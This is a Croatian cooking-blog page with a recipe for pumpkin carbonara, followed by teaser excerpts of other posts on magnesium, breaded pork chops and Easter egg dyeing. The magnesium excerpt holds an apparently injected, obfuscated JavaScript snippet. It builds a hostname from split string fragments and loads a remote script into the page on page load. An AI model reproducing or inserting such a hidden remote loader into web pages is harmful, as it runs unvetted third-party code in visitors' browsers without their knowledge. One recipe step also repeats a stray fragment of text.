CARBONARA S BUNDEVOM




Carbonara s bundevom 



Klasična carbonara dobiva neodoljiv jesenski štih izdanje uz dodatak pirea od bundeve. Bundeva umaku daje kremastu i svilenkastu teksturu, blagu slatkoću i prekrasnu zlatnu boju, dok hrskava panceta i obilje parmezana stvaraju savršenu ravnotežu okusa.




Carbonara s bundevom 


Sastojci:

  • 240 g pirea od bundeve
  • 50 g svježe naribanog parmezana, plus još za posluživanje
  • 3 velika žumanjka
  • 450 g špageta
  • 170 g pancete, narezane na komade veličine oko 2,5 cm
  • svježe mljeveni crni papar
  • sol



Priprema:

  1. U srednjoj zdjeli pjenjačom pomiješajte pire od bundeve, 50 g svježe naribanog parmezana i žumanjke. Dodajte nekoliko obilnih prstohvata svježe mljevenog crnog papra pa sve dobro izmiješajte dok ne dobijete jednoličnu smjesu.
  2. U velikom loncu zakuhajte dovoljno posoljene vode. Dodajte špagete ili bucatine i kuhajte prema uputama na pakiranju, odnosno dok tjestenina ne bude kuhana al dente.
  3. Prije nego što ocijedite tjesteninu, sačuvajte oko 350 ml vode u kojoj se kuhala. Ocijedite tjesteninu i ostavite je sa strane.
  4. Dok se tjestenina kuha, stavite pancetu u veliku tavu i pecite je na srednje laganoj vatri dok ne postane hrskava i dok ne ispusti većinu svoje masnoće.
  5. Hrskavu pancetu izvadite iz tave šupljikavom žlicom i stavite na tanjur obložen papirnatim ubrusom kako bi se ocijedio višak masnoće.
  6. Masnoću koju je panceta ispustila ostavite u tavi jer će ona tjestenini dati dodatnu aromu.
  7. Ocijeđenu tjesteninu dodajte u tavu s masnoćom od pancete. Dobro promiješajte kako bi se tjestenina ravnomjerno obložila.
  8. Ako se masnoća u međuvremenu ohladila, tavu nakratko vratite na laganu vatru kako bi se ponovno zagrijala. Zatim obavezno maknite tavu s vatre prije nego što dodate smjesu od bundeve i jaja.
  9. U smjesu od bundeve, parmezana i žumanjaka dodajte oko 180 ml sačuvane vode od kuhanja tjestenine i dobro promiješajte. Tako ćete dobiti rjeđu smjesu koja će se lakše pretvoriti u kremasti umak.
  10. pretvoriti u kremasti umak. Smjesu ulijte u tavu s tjesteninom i odmah sve dobro promiješajte. Po potrebi dodajte još vode od kuhanja, 1 žlicu odjednom, dok ne dobijete gladak, sjajan i kremast umak koji lijepo obavija svaki komad tjestenine.
  11. Na kraju dodajte hrskavu pancetu i sve još jednom dobro promiješajte.
  12. Gotovu carbonaru rasporedite na tanjure i pospite dodatnim naribanim parmezanom. Dodajte još malo svježe mljevenog crnog papra i poslužite odmah.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više